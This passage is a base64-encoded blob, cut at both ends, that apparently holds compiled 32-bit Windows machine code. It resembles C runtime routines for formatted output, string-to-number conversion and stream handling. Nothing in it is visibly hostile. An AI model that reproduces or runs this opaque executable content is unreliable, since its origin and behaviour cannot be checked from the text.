miV34aiBfhMF0KIvCwegGhMF0CWotWGaJRfTrFITRdARqK+vxi8LR6ITBdAZmiX30i9kPt04yg/l4dAhqWFhmO8h1DYvCwegFqAF0BLQB6wIy5IP5YXQMakFfZjvPdAQywOsCsAFqMF+E5HUEhMB0MGpYWGaJfF30ZjvIdAxqQVhmO8h0BDLA6wKwAYTAD5TA/sgk4AR4ZphmiURd9oPDAot+JCt+OCv79sIMdRaNRhhQV42GSAQAAGogUOg46v//g8QQ/3YMjUYYUFONRfSNjkgEAABQ6A8OAACLTiCNXhiLwcHoA6gBdBvB6QL2wQF1E1NXjYZIBAAAajBQ6Pfp//+DxBBqAIvO6MYMAACDOwB8HYtGIMHoAqgBdBNTV42GSAQAAGogUOjM6f//g8QQX7ABi038XjPNW+jKw///i+Vdw4v/VYvsg+wMoRTwERAzxYlF/FNWi/Ez22pBWmpYD7dGMlmD+GR/aw+EkgAAADvBfz50NjvCD4SUAAAAg/hDdD+D+ER+HYP4Rw+OgQAAAIP4U3UPi87o2AkAAITAD4WgAAAAMsDp5AEAAGoBahDrV4PoWnQVg+gHdFZIg+gBdeNTi87oqwYAAOvRi87o4wIAAOvIg/hwf010P4P4Z34xg/hpdByD+G50DoP4b3W1i87o1AgAAOuki87oVwgAAOubg04gEFNqCovO6P0GAADri4vO6FoEAADrgovO6MgIAADpdv///4Pocw+EZv///0iD6AF00IPoAw+FZv///1Ppaf///zheMA+FQAEAAItWIDPJV4vCiV30wegEQWaJXfhqIF+EwXQoi8LB6AaEwXQJai1YZolF9OsUhNF0BGor6/GLwtHohMF0BmaJffSL2Q+3TjKD+Xh0CGpYWGY7yHUNi8LB6AWoAXQEtAHrAjLkg/lhdAxqQV9mO890BDLA6wKwAWowX4TkdQSEwHQwalhYZol8XfRmO8h0DGpBWGY7yHQEMsDrArABhMAPlMD+yCTgBHhmmGaJRF32g8MCi34kK344K/v2wgx1Fo1GGFBXjYZIBAAAaiBQ6Djo//+DxBD/dgyNRhhQU41F9I2OSAQAAFDo0gwAAItOII1eGIvBwegDqAF0G8HpAvbBAXUTU1eNhkgEAABqMFDo9+f//4PEEGoAi87o9AoAAIM7AHwdi0YgwegCqAF0E1NXjYZIBAAAaiBQ6Mzn//+DxBBfsAGLTfxeM81b6G3B//+L5V3DgHkxKnQKjUEkUOhQ7P//w4NBFASLQRSLQPyJQSSFwHkHg0kgBPdZJLABw2aDeTIqdAqNQSRQ6IDs///Dg0EUBItBFItA/IlBJIXAeQeDSSAE91kksAHDi/9Vi+yLRQiD+At3Gf8khf80ChBqBFhdwzPAQF3DagLr9GoI6/AzwF3Di//nNAoQ7DQKEPE0ChDnNAoQ9TQKEPU0ChDnNAoQ5zQKEPk0ChDnNAoQ5zQKEPU0ChCL/1NWi/FXg0YUBItGFIt4/IX/dDaLXwSF23Qv/3YsD7ZGMVD/dgT/NujO5P//g8QQiV40hMAPtwd0C9HoiUY4xkY8AesXiUY46w7HRjTk1wsQx0Y4BgAAAMZGPABfXrABW8OL/1NWi/FXg0YUBItGFIt4/IX/dDaLXwSF23Qv/3YsD7dGMlD/dgT/Nuir5P//g8QQiV40hMAPtwd0C9HoiUY4xkY8AesXiUY46w7HRjTk1wsQx0Y4BgAAAMZGPABfXrABW8OL/1WL7FFRVovxV4NOIBCLRiiFwHkdikYxPGF0DTxBdAnHRigGAAAA6x3HRigNAAAA6xR1EopGMTxndAQ8R3UHx0YoAQAAAItGKI1+QFO7XQEAAIvPA8NQ6FPj//+EwHUMi8/oMOP//yvDiUYoi4cEBAAAhcB1AovHg2X4AINl/ACJRjSDRhQIi04Ui0H4iUX4i0H8i8+JRfzo+uL//4ufBAQAAIvIhdt1Aovf/3YID75GMf92BP82/3YoUFGLz+gB5P//UIvP6Mzi//9QjUX4U1Dov8oAAItGIIPEKMHoBVuoAXQTg34oAHUN/3YI/3Y06JTp//9ZWYpGMTxndAQ8R3UXi0YgwegFqAF1Df92CP92NOhJ6P//WVmLRjSAOC11CINOIEBAiUY0i1Y0igI8aXQMPEl0CDxudAQ8TnUExkYxc416AYoKQoTJdfkr17ABX4lWOF6L5V3Di/9Vi+xRUVZXi/FqZ1lqR4NOIBCLRihahcB5IA+3RjKD+GF0DoP4QXQJx0YoBgAAAOsgx0YoDQAAAOsXdRUPt0YyZjvBdAVmO8J1B8dGKAEAAACLRiiNfkBTu10BAACLzwPDUOjt4f//hMB1DIvP6Mrh//8rw4lGKIuHBAQAAIXAdQKLx4Nl+ACDZfwAiUY0g0YUCItOFItB+IlF+ItB/IvPiUX86JTh//+LnwQEAACLyIXbdQKL3/92CA++RjL/dgT/Nv92KFBRi8/om+L//1CLz+hm4f//UI1F+FNQ6FnJAACLRiCDxCjB6AVbqAF0E4N+KAB1Df92CP92NOgu6P//WVkPt0YyamdZZjvBdAhqR1lmO8F1F4tGIMHoBagBdQ3/dgj/djTo2ub//1lZi0Y0gDgtdQiDTiBAQIlGNItWNIoCPGl0DDxJdAg8bnQEPE51B2pzWGaJRjKNegGKCkKEyXX5K9ewAV+JVjhei+Vdw4v/VovxV/92LA+2RjFQ/3YE/zboUuH//4PEEI1+QITAdDmDRhQEi0YUU4ufBAQAAA+3QPyF23UCi99Qi8/oiuD//1CNRjhTUOhwtwAAg8QQW4XAdCXGRjAB6x+LjwQEAACFyXUCi8+DRhQEi0YUikD8iAHHRjgBAAAAi4cEBAAAhcB0Aov4iX40sAFfXsIEAIv/VYvsUVNWi/FXxkY8AYNGFASLRhT/diwPt1j8D7dGMlD/dgT/Nuju4P//g8QQjX5AhMB1MouPBAQAAIhd/IhF/YXJdQKLz4tGCFCLAP9wBI1F/FBR6J20AACDxBCFwHkVxkYwAesPi4cEBAAAhcB1AovHZokYi4cEBAAAhcB0Aov4iX40sAFfx0Y4AQAAAF5bi+VdwgQAi/9Vi+xTVovx/3Ys6Nn6//9Zi9iLy4PpAXR4g+kBdFZJg+kBdDOD6QR0F+iVswAAxwAWAAAA6FOwAAAywOkCAQAAi0Ygg0YUCMHoBKgBi0YUi0j4i1D861iLRiCDRhQEwegEqAGLRhR0BYtA/Os/i0j8M9LrO4tGIINGFATB6ASoAYtGFHQGD79A/OshD7dA/Osbi0Ygg0YUBMHoBKgBi0YUdAYPvkD86wQPtkD8mYvIV4t+IIvHwegEqAF0F4XSfxN8BIXJcw332YPSAPfag89AiX4gg34oAF99CcdGKAEAAADrEYNmIPe4AAIAADlGKH4DiUYoi8ELwnUEg2Yg3/91DP91CIP7CHULUlGLzuhQ4P//6whRi87o0d///4tGIMHoB6gBdBqDfjgAdAiLRjSAODB0DP9ONItONMYBMP9GOLABXltdwggAi/9Wi/FXg0YUBItGFIt4/Og0yQAAhcB1FOhdsgAAxwAWAAAA6BuvAAAywOtE/3Ys6Gv5//9Zg+gBdCuD6AF0HUiD6AF0EIPoBHXOi0YYmYkHiVcE6xWLRhiJB+sOZotGGGaJB+sFikYYiAfGRjABsAFfXsOLUSCLwsHoBagBdAmByoAAAACJUSBqAGoI6CT+///DagFqEMdBKAgAAADHQSwKAAAA6Az+///Di/9TVovxV4NGFASLRhSLfiiLWPyJXjSD//91Bb////9//3YsD7ZGMVD/dgT/Nuga3v//g8QQhMB0GoXbdQfHRjTs1wsQV/92NMZGPAHokrUAAOsUhdt1B8dGNOTXCxBX/3Y06FW0AABZWV+JRjiwAV5bw4v/U1aL8VeDRhQEi0YUi34oi1j8iV40g///dQW/////f/92LA+3RjJQ/3YE/zbo593//4PEEITAdByF23UHx0Y07NcLEFf/djTGRjwB6B+1AABZWesVhdt1B8dGNOTXCxBqAFeLzugJAAAAX4lGOLABXlvDi/9Vi+xWV4v5M/aLVzQ5dQh+JVOKAoTAdB0Ptsi7AIAAAItHCIsAiwBmhRxIdAFCQkY7dQh83Vtfi8ZeXcIIAIM5AHUT6J+wAADHABYAAADoXa0AADLAw7ABw4N5HAB0GYN5HAd0E+h9sAAAxwAWAAAA6DutAAAywMOwAcOL/1WL7IsBi0AMwegMqAF0CIsBg3gEAHQe/zH/dQjoosUAAFlZuf//AABmO8F1CItFDIMI/+sFi0UM/wBdwggAi/9Vi+yL0YsKi0EIO0EEi0UMdRSAeQwAdAT/AOsDgwj/iwKKQAzrFv8AiwL/QAiLAosIikUIiAGLAv8AsAFdwggAi/9Vi+yL0YsKi0EIO0EEi0UMdRSAeQwAdAT/AOsDgwj/iwKKQAzrGf8AiwL/QAiLAosIZotFCGaJAYsCgwACsAFdwggAi/9Vi+yD7BChFPAREDPFiUX8U1aL8VeAfjwAdF2LRjiFwH5Wi340M9uFwHRlD7cHjX8Cg2XwAFBqBo1F9FCNRfBQ6C6yAACDxBCFwHUmOUXwdCH/dgyNRhhQ/3XwjUX0UI2OSAQAAOjeAQAAQzteOHW76x6DThj/6xj/dgyNRhhQ/3Y4jY5IBAAA/3Y06LgBAACLTfywAV9eM81b6Du3//+L5V3CBACL/1WL7FFRU1aL8VeAfjwAdVaLRjiFwH5Pi140M/+FwHReM8BmiUX8i0YIUIsA/3AEjUX8U1DoXq8AAIPEEIlF+IXAfh2NThhR/3X8jY5IBAAA6Dv+//8DXfhHO344dcLrHoNOGP/rGP92DI1GGFD/djiNjkgEAAD/djTolgAAAF9esAFbi+VdwgQAi/9Vi+xRUVNWi/FXgH48AHVWi0Y4hcB+T4teNDP/hcB0XjPAZolF/ItGCFCLAP9wBI1F/FNQ6NOuAACDxBCJRfiFwH4djU4YUf91/I2OSAQAAOgy/v//A134Rzt+OHXC6x6DThj/6xj/dgyNRhhQ/3Y4jY5IBAAA/3Y06CsBAABfXrABW4vlXcIEAIv/VYvsUVFTi9mLA4tADMHoDKgBdBKLA4N4BAB1CotNEItFDAEB616LRQxWi3UUV4t9CIsOgyYAjQRHiU34iUX8O/h0NItFEFAPtweLy1DoKP3//4tFEIM4/3USgz4qdRVQaj+Ly+gR/f//i0UQg8cCO338ddKLTfiDPgB1BoXJdAKJDl9eW4vlXcIQAIv/VYvsUVFWV4t9FIvBiUX4iw+DJwCLAIlN/ItwBDlwCHUYgHgMAHQKi00Qi0UMAQHrSotFEIMI/+tFK3AIU4tdDDvzcgKL81b/dQj/MOjqyf//i034g8QMiwEBMIsBAXAIiwGAeAwAi0UQdAQBGOsLO/N0BYMI/+sCATBbi038gz8AdQaFyXQCiQ9fXovlXcIQAIv/VYvsUVFTi10Ui8FXiUX4iwuDIwCLEIlN/It6BDl6CHUYgHoMAHQKi00Qi0UMAQHrUYtFEIMI/+tMK3oIi0UMO/hyAov4Vo00P1b/dQj/MuhUyf//i034g8QMiwEBMIsBXgF4CIsBgHgMAItFEHQHi00MAQjrDDt9DHQFgwj/6wIBOItN/IM7AHUGhcl0AokLX1uL5V3CEACL/1WL7IPsLItFHItVEItNFIlF8ItFGIlF+ItFCIlF6ItFDIlN9IlV/IlF7IXSdRXo+asAAMcAFgAAAOi3qAAAg8j/6y6FyXTnjUX8iUXUjUX4iUXYjUXoiUXcjUX0iUXgjUXwiUXkjUXUUFLogND//1lZi+Vdw4v/VYvs/3Ug/3Uc/3UY/3UU/3UQ/3UM/3UI6ITT//+DxBxdw4v/VYvs/3Ug/3Uc/3UY/3UU/3UQ/3UM/3UI6GHW//+DxBxdw4v/VYvs/3Ug/3Uc/3UY/3UU/3UQ/3UM/3UI6LjU//+DxBxdw4v/VYvs/3Ug/3Uc/3UY/3UU/3UQ/3UM/3UI6JHW//+DxBxdw4v/VYvsg30IAHUEM8Bdw4tNCFcz/41RAmaLAYPBAmY7x3X1K8rR+VONWQGNBBtQ6H2UAACL+FmF/3UEW19dw/91CFNX6JIBAACDxAyFwHUEi8fr5zPAUFBQUFDooKcAAMzp1KoAAIv/VYvsoWAvEhCFwHV1i1UIhdJ1F+inqgAAxwAWAAAA6GWnAAC4////f13Di00Mhcl04lNWV2pBX2paK9FbD7cECmY7x3INZjvDdwiDwCAPt/DrAovwD7cBZjvHcgtmO8N3BoPAIA+3wIPBAmaF9nQFZjvwdMgPt8hfD7fGXivBW13DagD/dQz/dQjoBQAAAIPEDF3Di/9Vi+yD7BCNTfBTVv91EOhB2v//i10Ihdt0B4t1DIX2dRroBKoAAMcAFgAAAOjCpgAAuv///3/piwAAAItF9FeDuKgAAAAAdUJqQVlqWiveWg+3BDNmO8FyDWY7wncIg8AgD7f46wKL+A+3BmY7wXILZjvCdwaDwCAPt8CDxgJmhf90OmY7+HTI6zMPtwONTfRRUOivwwAAjU30D7f4D7cGjVsCUVDonMMAAIPEEA+3wI12AmaF/3QFZjv4dM0Pt9cPt8Ar0F+AffwAXlt0CotN8IOhUAMAAP2LwovlXcOL/1WL7ItVCFaF0nQTi00Mhcl0DIt1EIX2dRkzwGaJAugnqQAAahZeiTDo5qUAAIvGXl3DV4v6K/IPtwQ+ZokHjX8CZoXAdAWD6QF17F+FyXUOM8BmiQLo8KgAAGoi68cz9uvLi/9Vi+xTVleLfQiF/3QTi00Mhcl0DItdEIXbdRszwGaJB+jBqAAAahZeiTDogKUAAF+Lxl5bXcOL1zP2ZjkydAiDwgKD6QF184XJdNAr2g+3BBNmiQKNUgJmhcB0BYPpAXXshcl1yjPAZokH6HeoAABqIuu0oewtEhBWagNehcB1B7gAAgAA6wY7xn0Hi8aj7C0SEGoEUOgxwwAAagCj8C0SEOhTqAAAg8QMgz3wLRIQAHUragRWiTXsLRIQ6AvDAABqAKPwLRIQ6C2oAACDxAyDPfAtEhAAdQWDyP9ew1cz/75A8BEQagBooA8AAI1GIFDopcUAAKHwLRIQi9fB+gaJNLiLx4PgP2vIMIsElWgvEhCLRAgYg/j/dAmD+P50BIXAdQfHRhD+////g8Y4R4H+6PAREHWvXzPAXsOL/1WL7GtFCDgFQPAREF3Di/9W6BkBAADoa8cAADP2ofAtEhD/NAbo/McAAKHwLRIQWYsEBoPAIFD/FfzCCxCDxgSD/gx12P818C0SEOhspwAAgyXwLRIQAFlew4v/VYvsi0UIg8AgUP8VCMMLEF3Di/9Vi+yLRQiDwCBQ/xUEwwsQXcOL/1WL7ItNCFaNcQyLBiQDPAJ0BDPA60uLBqjAdPaLQQRXizkr+IkBg2EIAIX/fjBXUFHobr0AAFlQ6ALPAACDxAw7+HQLahBY8AkGg8j/6xGLBsHoAqgBdAZq/VjwIQYzwF9eXcOL/1WL7FaLdQiF9nUJVug9AAAAWesuVuh+////WYXAdAWDyP/rHotGDMHoC6gBdBJW6Aq9AABQ6KDIAABZWYXAdd8zwF5dw2oB6AIAAABZw2ocaKClERDoV6z//4Nl5ACDZdwAagjoUscAAFmDZfwAizXwLRIQoewtEhCNBIaJRdSLXQiJdeA78HR0iz6JfdiF/3RWV+jY/v//WcdF/AEAAACLRwzB6A2oAXQyg/sBdRFX6En///9Zg/j/dCH/ReTrHIXbdRiLRwzR6KgBdA9X6Cv///9Zg/j/dQMJRdyDZfwA6A4AAACLRdSDxgTrlYtdCIt14P912OiJ/v//WcPHRfz+////6BQAAACD+wGLReR0A4tF3Ojoq///w4tdCGoI6N/GAABZw2oMaIClERDof6v//4t1CIX2dQlW6A////9Z6ymDZeQAVugk/v//WYNl/ABW6Kf+//9Zi/iJfeTHRfz+////6A4AAACLx+iRq///w4t1CIt95FboB/7//1nDi/9Vi+xWi3UIhfZ1FegupQAAxwAWAAAA6OyhAACDyP/rUYtGDFeDz//B6A2oAXQ5Vujj/f//Vov46H/FAABW6Hu7AABQ6LHQAACDxBCFwHkFg8//6xODfhwAdA3/dhzo76QAAINmHABZVugG0gAAWYvHX15dw2oQaMilERDosKr//4t1CIl14DPAhfYPlcCFwHUV6KikAADHABYAAADoZqEAAIPI/+s7i0YMwegMVqgBdAjovdEAAFnr6INl5ADoLf3//1mDZfwAVugx////WYvwiXXkx0X8/v///+gLAAAAi8bomqr//8OLdeT/deDoEf3//1nDahBo6KUREOgwqv//M8CLdQiF9g+VwIXAdRToK6QAAMcAFgAAAOjpoAAAM8DrczPAi30Mhf8PlcCFwHTeM8Az22Y5Hw+VwIXAdNBmOR51Dej2owAAxwAWAAAA686NReRQ6LvQAABZOV3kdQ3o2qMAAMcAGAAAAOuyiV3giV38/3Xk/3UQV1bortUAAIPEEIvwiXXgx0X8/v///+gLAAAAi8bo5qn//8OLdeCF9nUJ/3Xk6MnQAABZ/3Xk6FD8//9Zw4v/VYvsakD/dQz/dQjoLf///4PEDF3Di/9Vi+xWi3UIV4t9DA+2DkaNQb+D+Bl3A4PBIA+2F0eNQr+D+Bl3A4PCIIXJdAQ7ynTaK8pfi8FeXcOL/1WL7KFgLxIQhcB1KDlFCHUX6B+jAADHABYAAADo3Z8AALj///9/XcODfQwAdONd6Y////9qAP91DP91COgFAAAAg8QMXcOL/1WL7IPsEI1N8FNWV/91EOgD0///i30Ihf90B4tdDIXbdRfoxqIAAMcAFgAAAOiEnwAAvv///3/rRotF9IO4qAAAAAB1DVNX6C////9ZWYvw6y0r+w+2BB+NTfRRUOjIoQAAjU30i/APtgNRUOi5oQAAg8QQQ4X2dAQ78HTXK/CAffwAdAqLTfCDoVADAAD9X4vGXluL5V3Di/9Vi+yLRQioBHQEsAFdw6gBdBuD4AJ0CYF9DAAAAIB36oXAdQmBfQz///9/d90ywF3Di/9Vi+yLRQioBHQEsAFdw6gBdCuD4AJ0EYF9EAAAAIByCHfog30MAHfihcB1EYF9EP///39yCHfTg30M/3fNMsBdw4v/VYvsi0UIi00Qi1UMiRCJSASFyXQCiRFdw4v/VYvsg+wojU0MU1foCfH//4TAdCGLfRSF/3Qwg/8CfAWD/yR+JuiYoQAAxwAWAAAA6FaeAAAz24tVEIXSdAWLTQyJCl+Lw1uL5V3DVv91CI1N2OiV0f//i0UMM/aJdfSJRejrA4tFDIoYQIlFDI1F3FAPtsNqCFCIXfzopREAAIPEDIXAdd44RRgPlcCJRfiA+y11CIPIAolF+OsFgPsrdQ6LdQyKHkaIXfyJdQzrA4t1DIX/dAWD/xB1eIrDLDA8CXcID77Dg8DQ6yOKwyxhPBl3CA++w4PAqesTisMsQTwZdwgPvsODwMnrA4PI/4XAdAmF/3U9agpf6ziKBkaIRfCJdQw8eHQbPFh0F4X/dQNqCF//dfCNTQzoiBAAAIt1DOsQhf91A2oQX4oeRohd/Il1DDPSg8j/9/eJVeyLVfiJRfCNS9CA+Ql3CA++y4PB0OsjisMsYTwZdwgPvsuDwanrE4rDLEE8GXcID77Lg8HJ6wODyf+D+f90MDvPcyyLRfSDygiLXfA7w3IMdQU7Tex2BYPKBOsID6/HA8GJRfSKHkaIXfyJdQzrmP91/I1NDIlV+OjtDwAAi1349sMIdQqLRegz24lFDOtBi3X0VlPomP3//1lZhMB0KOjinwAAxwAiAAAA9sMBdQWDzv/rGvbDAnQHuwAAAIDrELv///9/6wn2wwJ0Avfei96AfeQAXg+EIP7//4tF2IOgUAMAAP3pEf7//4v/VYvsg+wcjU0MU1fo4e7//4TAdCOLRRRqAl+FwHQvO8d8BYP4JH4m6G6fAADHABYAAADoLJwAADPbi1UQhdJ0BYtNDIkKX4vDW4vlXcNW/3UIjU3k6GvP//+LRQwz9ol1+IlF9OsDi0UMD7cwA8dqCFaJRQzoQdEAAFlZhcB15zPbOF0YD5XDZoP+LXUEC9/rBmaD/it1Dot9DA+3N4PHAol9DOsDi30Mi00Ux0X8GQAAAGowWGoQWoXJdAg7yg+F2wIAAGY78A+CVQIAAGo6WGY78HMLD7fGg+gw6T0CAAC4EP8AAGY78A+DGAIAALhgBgAAZjvwD4ImAgAAg8AKZjvwcw0Pt8YtYAYAAOkMAgAAuPAGAABmO/APggMCAACDwApmO/BzDQ+3xi3wBgAA6ekBAAC4ZgkAAGY78A+C4AEAAIPACmY78HMND7fGLWYJAADpxgEAALjmCQAAZjvwD4K9AQAAg8AKZjvwcw0Pt8Yt5gkAAOmjAQAAuGYKAABmO/APgpoBAACDwApmO/BzDQ+3xi1mCgAA6YABAAC45goAAGY78A+CdwEAAIPACmY78HMND7fGLeYKAADpXQEAALhmCwAAZjvwD4JUAQAAg8AKZjvwcw0Pt8YtZgsAAOk6AQAAuGYMAABmO/APgjEBAACDwApmO/BzDQ+3xi1mDAAA6RcBAAC45gwAAGY78A+CDgEAAIPACmY78HMND7fGLeYMAADp9AAAALhmDQAAZjvwD4LrAAAAg8AKZjvwcw0Pt8YtZg0AAOnRAAAAuFAOAABmO/APgsgAAACDwApmO/BzDQ+3xi1QDgAA6a4AAAC40A4AAGY78A+CpQAAAIPACmY78HMND7fGLdAOAADpiwAAALggDwAAZjvwD4KCAAAAg8AKZjvwcwoPt8YtIA8AAOtruEAQAABmO/ByZoPACmY78HMKD7fGLUAQAADrT7jgFwAAZjvwckqDwApmO/BzCg+3xi3gFwAA6zO4EBgAAGY78HIug8AKZjvwcyYPt8YtEBgAAOsXuBr/AABmO/BzCg+3xi0Q/wAA6wODyP+D+P91MGpBWGY7xncIalpYZjvwdgmNRp9mO0X8dxSNRp9mO0X8D7fGdwOD6CCDwMnrA4PI/4XAdA2FyXVFx0UUCgAAAOs8D7cHg8cCiX0Mg/h4dB6D+Fh0GYXJdQfHRRQIAAAAUI1NDOgcDAAAi30M6xCFyXUDiVUUD7c3g8cCiX0Mg8j/M9L3dRSLyGowWGY78A+CVQIAAGo6WGY78HMLD7fGg+gw6T0CAAC4EP8AAGY78A+DGAIAALhgBgAAZjvwD4ImAgAAg8AKZjvwcw0Pt8YtYAYAAOkMAgAAuPAGAABmO/APggMCAACDwApmO/BzDQ+3xi3wBgAA6ekBAAC4ZgkAAGY78A+C4AEAAIPACmY78HMND7fGLWYJAADpxgEAALjmCQAAZjvwD4K9AQAAg8AKZjvwcw0Pt8Yt5gkAAOmjAQAAuGYKAABmO/APgpoBAACDwApmO/BzDQ+3xi1mCgAA6YABAAC45goAAGY78A+CdwEAAIPACmY78HMND7fGLeYKAADpXQEAALhmCwAAZjvwD4JUAQAAg8AKZjvwcw0Pt8YtZgsAAOk6AQAAuGYMAABmO/APgjEBAACDwApmO/BzDQ+3xi1mDAAA6RcBAAC45gwAAGY78A+CDgEAAIPACmY78HMND7fGLeYMAADp9AAAALhmDQAAZjvwD4LrAAAAg8AKZjvwcw0Pt8YtZg0AAOnRAAAAuFAOAABmO/APgsgAAACDwApmO/BzDQ+3xi1QDgAA6a4AAAC40A4AAGY78A+CpQAAAIPACmY78HMND7fGLdAOAADpiwAAALggDwAAZjvwD4KCAAAAg8AKZjvwcwoPt8YtIA8AAOtruEAQAABmO/ByZoPACmY78HMKD7fGLUAQAADrT7jgFwAAZjvwckqDwApmO/BzCg+3xi3gFwAA6zO4EBgAAGY78HIug8AKZjvwcyYPt8YtEBgAAOsXuBr/AABmO/BzCg+3xi0Q/wAA6wODyP+D+P91MGpBWGY7xncIalpYZjvwdgmNRp9mO0X8dxSNRp9mO0X8D7fGdwOD6CCDwMnrA4PI/4P4/3QxO0UUcyyLdfiDywg78XILdQQ7wnYFg8sE6wkPr3UUA/CJdfgPtzeDxwKJfQzpOf3//1aNTQzoLQkAAPbDCHUKi0X0M9uJRQzrQYt1+FZT6LP2//9ZWYTAdCjo/ZgAAMcAIgAAAPbDAXUFg87/6xr2wwJ0B7sAAACA6xC7////f+sJ9sMCdAL33ovegH3wAF4PhGX5//+LReSDoFADAAD96Vb5//+L/1WL7IPsQI1NDFZX6Pzn//+EwHQhi0UUhcB0NoP4AnwFg/gkfizoi5gAAMcAFgAAAOhJlQAAM8CL+Ivwi0UQhcB0BYtNDIkIi8eL1l9ei+Vdw1P/dQiNTcDogsj//zPAiUXwi/CLRQyJRdDrA4tFDIoYQIlFDI1FxFAPtsNqCFCIXfSIXf/ojQgAAIPEDIXAdds4RRgPlcCJRfiA+y11CIPIAolF+OsFgPsrdRGLfQyKH0eIXf+IXfSJfQzrA4t9DItNFGoQWoXJdAg7yg+FhwAAAIrDLDA8CXcID77Dg8DQ6yOKwyxhPBl3CA++w4PAqesTisMsQTwZdwgPvsODwMnrA4PI/4XAdAyFyXVMagpYiUUU60aKB0eIReSJfQw8eHQiPFh0HoXJdQfHRRQIAAAA/3XkjU0M6F0HAACLfQyLRRTrF4XJdQOJVRSKB0eIRf+IRfSJfQzr5ovBmYvKiUXUUVBq/2r/iU3Y6AhIAQCJTdyKTf+JXeAz24lF6IlV5IrBLDA8CXcID77Rg8LQ6yOKwSxhPBl3CA++0YPCqesTisEsQTwZdwgPvtGDwsnrA4PK/4lV7IP6/3RgO1UUc1uLTfiLRfCDyQiJTfg7deRyJXcFO0Xoch47Reh1ETt15HUMO13gcg93BTtV3HYIg8kEiU346xdWUP912P911OgUSAEAA0Xsi/KJRfAT84oPR4hN9Il9DOll/////3X0jU0M6HMGAACLRfioCHUMi0XQiUUMM8CL8OtBi33wVldQ6E/0//+DxAyEwHQz6GWWAADHACIAAACLRfioAXUIg8//g87/6yWoAnQJM8C+AAAAgOsIg8j/vv///3+L+OsM9kX4AnQG998T8/fegH3MAFsPhKb9//+LRcCDoFADAAD96Zf9//+L/1WL7IPsOI1NDFNWV+hV5f//hMB0I4tdFGoCX4XbdDY733wFg/skfi3o4pUAAMcAFgAAAOigkgAAM8CL+IvYi3UQhfZ0BYtNDIkOi8eL019eW4vlXcP/dQiNTcjo2cX//zPAiUX4iUX0i0UMiUXY6wOLRQwPtzADx2oIVolFDOisxwAAWVmFwHXnM8A4RRgPlcCJRfxmg/4tdQcLx4lF/OsGZoP+K3UNi00MD7cxA8+JTQzrA4tNDGowWoXbdAmD+xAPhScCAABmO/IPgqEBAABqOlhmO/BzCg+3xivC6YoBAAC6EP8AAGY78g+DawEAALpgBgAAZjvyD4JzAQAAjUIKZjvwctK68AYAAGY78g+CXQEAAI1CCmY78HK8umYJAABmO/IPgkcBAACNQgpmO/Bypo1QdmY78g+CMwEAAI1CCmY78HKSjVB2ZjvyD4IfAQAAjUIKZjvwD4J6////jVB2ZjvyD4IHAQAAjUIKZjvwD4Ji////jVB2ZjvyD4LvAAAAjUIKZjvwD4JK////umYMAABmO/IPgtUAAACNQgpmO/APgjD///+NUHZmO/IPgr0AAACNQgpmO/APghj///+NUHZmO/IPgqUAAACNQgpmO/APggD///+6UA4AAGY78g+CiwAAAI1CCmY78A+C5v7//41QdmY78nJ3jUIKZjvwD4LS/v//g8JQZjvycmODwFBmO/APgr7+//+6QBAAAGY78nJNjUIKZjvwD4Ko/v//uuAXAABmO/JyN41CCmY78A+Ckv7//4PCMGY78nIjg8AwZjvwcxvpff7//7ga/wAAZjvwD4Jv/v//g8j/g/j/dR5qQVhmO8Z3CGpaWGY78HYeahmNRp9aZjvCdhaDyP+FwHQihdt1V2oKW4ldFOtPahlajUafZjvCD7fGdwOD6CCDwMnr2g+3AQPPiU0Mg/h4dBqD+Fh0FYXbdQZqCFuJXRRQjU0M6EEDAADrEoXbdQZqEFuJXRQPtzEDz4lNDIvDmYvKiUXcUVBq/2r/iU3g6M1DAQCJTeSLyold6DPbiUXwiU3sajBYZjvwD4KhAQAAajpaZjvycwoPt/4r+OmKAQAAuBD/AABmO/APg2sBAAC4YAYAAGY78A+CcwEAAI1QCmY78nLSuPAGAABmO/APgl0BAACNUApmO/JyvLhmCQAAZjvwD4JHAQAAjVAKZjvycqaNQnZmO/APgjMBAACNUApmO/Jyko1CdmY78A+CHwEAAI1QCmY78g+Cev///41CdmY78A+CBwEAAI1QCmY78g+CYv///41CdmY78A+C7wAAAI1QCmY78g+CSv///7hmDAAAZjvwD4LVAAAAjVAKZjvyD4Iw////jUJ2ZjvwD4K9AAAAjVAKZjvyD4IY////jUJ2ZjvwD4KlAAAAjVAKZjvyD4IA////uFAOAABmO/APgosAAACNUApmO/IPgub+//+NQnZmO/Byd41QCmY78g+C0v7//4PAUGY78HJjg8JQZjvyD4K+/v//uEAQAABmO/ByTY1QCmY78g+CqP7//7jgFwAAZjvwcjeNUApmO/IPgpL+//+DwDBmO/ByI4PCMGY78nMb6X3+//+6Gv8AAGY78g+Cb/7//4PP/4P//3UeakFYZjvGdwhqWlhmO/B2VWoZjUafWmY7wnZNg8//g///D4SDAAAAO30Uc36LVfyLRfSDygg7wYlV/ItN+HI8i3XwdwQ7znIzO851ETtF7HUMO13ociV3BTt95HYeg8oEiVX86zFqGVqNRp8Pt/5mO8J3A4PvIIPHyeujUFH/deD/ddzoKEIBAIvIi8IDz4lN+BPDiUX0i0UMi03sD7cwg8ACiUUM6an9//9WjU0M6KcAAACLRfyoCHUKi0XYiUUMM8DrRItd9It9+FNXUOha7v//g8QMhMB0M+hwkAAAxwAiAAAAi0X8qAF1CIPP/4PL/+smqAJ0CTPAuwAAAIDrCIPI/7v///9/i/jrDfZF/AJ0B/ffg9MA99uAfdQAD4Ra+v//i0XIg6BQAwAA/elL+v//i/9Vi+z/CYpFCIsJhMB0FDgBdBDoA5AAAMcAFgAAAOjBjAAAXcIEAIv/VYvsgwH+ZotFCIsJZoXAdBVmOQF0EOjXjwAAxwAWAAAA6JWMAABdwgQAi/9Vi+yLRRCFwHQNiwCLCItFCA+3BEHrDOikwQAAi00ID7cESCNFDF3Di/9Vi+yLTRCFyXQWiwGDeAQBfg5R/3UM/3UI6P3BAADrDFH/dQz/dQjoqP///4PEDF3Di/9Vi+xRagD/dRBRUYvE/3UM/3UIUOhx7f//g8QMagDoNfn//4PEFIvlXcOL/1WL7FFqAf91EFFRi8T/dQz/dQhQ6EXt//+DxAxqAOhW7f//g8QUi+Vdw4v/VYvsUWoA/3UQUVGLxP91DP91CFDoGe3//4PEDGoA6Crt//+DxBSL5V3Di/9Vi+xRagD/dRBRUYvE/3UM/3UIUOjt7P//g8QMagDoC/b//4PEFIvlXcOL/1WL7FFqAf91EFFRi8T/dQz/dQhQ6MHs//+DxAxqAOj67v//g8QUi+Vdw4v/VYvsUWoA/3UQUVGLxP91DP91CFDolez//4PEDGoA6M7u//+DxBSL5V3Di/9Vi+yLTQiBSQQAAACAiwGBSQ